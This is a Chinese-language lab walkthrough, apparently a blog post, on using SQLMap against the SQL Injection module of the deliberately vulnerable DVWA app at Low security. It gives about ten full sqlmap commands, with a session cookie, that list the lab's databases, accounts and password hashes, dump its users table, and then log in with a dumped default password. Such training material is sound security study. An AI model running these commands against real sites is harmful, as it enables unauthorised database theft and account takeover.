目录结构

一、测试需求分析
二、SQLMap利用SQL注入漏洞,获取数据库信息
1.判断是否存在注入点
2.获取DBMS中所有的数据库名称
3.获取Web应用当前连接的数据库
4.列出数据库中的所有用户
5.获取Web应用当前所操作的用户
6.列出可连接数据库的所有账户-对应的密码哈希
7.列出指定数据库中的所有数据表
8.列出指定数据表中的所有字段(列)
9.导出指定数据表中的列字段进行保存
10.根据导出的数据,验证数据有效性

一、测试需求分析

测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:SQLMap自动化工具

其前已经总结过SQLMap工具检测SQL注入漏洞的实践操作(SQLMap工具检测SQL注入漏洞、获取数据库中的数据),但当时是以未登录的身份直接可以获取并检测url场景,而本文则是针对需要登录之后才能获取到带参的被测url地址进行检测的应用场景。

二、SQLMap利用SQL注入漏洞,获取数据库信息

登录dvwa系统(admin--password),输入任意User ID进行提交,然后即可获取到提交时的url,此url可通过浏览器F12查看获取,也可通过抓包or拦截工具获取(如:Fiddler、BurpSuite)
Request URL: http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit

 

1.判断是否存在注入点

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch

 

直接对登录后获取的url进行检测,会302重定向跳转到登录时的url,说明检测的url需要带有登录权限才能验证,即SQLMap检测命令中需要带上登录dvwa后维持与服务器连接的cookie信息。

重新调整SQLMap检测命令,如下:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch

 

2.获取DBMS中所有的数据库名称

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --dbs

3.获取Web应用当前连接的数据库

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-db

4.列出数据库中的所有用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --users

5.获取Web应用当前所操作的用户

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --current-user

 

6.列出可连接数据库的所有账户-对应的密码哈希

此处列出的是连接数据库的账户信息
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch --passwords

 

7.列出指定数据库中的所有数据表

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa --tables

 

8.列出指定数据表中的所有字段(列)

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users --columns

 

9.导出指定数据表中的列字段进行保存

python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f4bt865o8r3l3curiv40la98f1" --batch -D dvwa -T users -C "user,password" --dump

 

10.根据导出的数据,验证数据有效性

user password
1337 charley
admin password
gordonb abc123
pablo letmein
smithy password

从以上导出的user---password组合中任取一组,回到前端登录界面进行验证

登录界面:http://localhost:8001/dvwa/login.php
用户密码:pablo---letmein

登录成功

(七)DVWA之SQL Injection--SQLMap测试(Low)的更多相关文章

  1. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  2. (九)DVWA之SQL Injection--SQLMap&Fiddler测试(High)

    一.测试需求分析 测试对象:DVWA漏洞系统--SQL Injection模块--ID提交功能 防御等级:High 测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数 ...

  3. (八)DVWA之SQL Injection--SQLMap&Burp测试(Medium)

    一.测试需求分析 测试对象:DVWA漏洞系统--SQL Injection模块--User ID提交功能 防御等级:Medium 测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则 ...

  4. 【DVWA】SQL Injection(SQL 注入)通关教程

    日期:2019-07-28 20:43:48 更新: 作者:Bay0net 介绍: 0x00.基本信息 关于 mysql 相关的注入,传送门. SQL 注入漏洞之 mysql - Bay0net - ...

  5. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  6. DVWA之 SQL Injection(Blind)

    SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...

  7. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  8. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  9. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

随机推荐

  1. Web_php_unserialize-攻防世界XCTF

    0x00 简介 记录一下,重点是记录一下那篇正则文章. 0x01 题目代码 <?php class Demo { private $file = 'index.php'; public func ...

  2. 前端面试题-TCP和UDP的区别

    TCP和UDP的区别 (1)TCP是面向连接的,udp是无连接的即发送数据前不需要先建立链接. (2)TCP提供可靠的服务.也就是说,通过TCP连接传送的数据,无差错,不丢失,不重复,且按序到达;UD ...

  3. 格式转换工具:使用kgEncode转换压缩无损音乐

    在kugou安装目录下,有kgEncode目录,可以在各种格式中相互转换

  4. 关于Nginx参数路径问题的问题

    本文转载自:https://pureage.info/2013/10/31/130.html 由于工作需要,开始分析nginx的proxy模块,在分析之前,当然要先会用了.于是开始熟悉该模块的一些指令 ...

  5. Shell脚本定时监控

    1.建立脚本文件 autostart.sh #!/bin/bashexport JAVA_HOME=/home/java/jdk1.8.0_191export JRE_HOME=$JAVA_HOME/ ...

  6. POJ1321棋盘问题(DFS)

    Description 在一个给定形状的棋盘(形状可能是不规则的)上面摆放棋子,棋子没有区别.要求摆放时任意的两个棋子不能放在棋盘中的同一行或者同一列,请编程求解对于给定形状和大小的棋盘,摆放k个棋子 ...

  7. kali下一些代理工具的简单描述

    前言 最近几天了解了kali中一些代理工具的基本使用,做一个小小的总结,kali操作系统的官网为 www.kali.org,感兴趣的可以去官网下载镜像,如何安装这里就不在讲解了,百度有很多教程.新手这 ...

  8. D:Sequence Swapping

    BaoBao has just found a strange sequence {<, >, <, >, , <, >} of length in his poc ...

  9. PAT-1133 Splitting A Linked List(链表分解)

    Cutting an integer means to cut a K digits long integer Z into two integers of (K/2) digits long int ...

  10. switch下返回各类的数值

    定义一个变量,在每个case下赋值,最后return public static int orderDishes(int choice) { int price = 0; switch (choice ...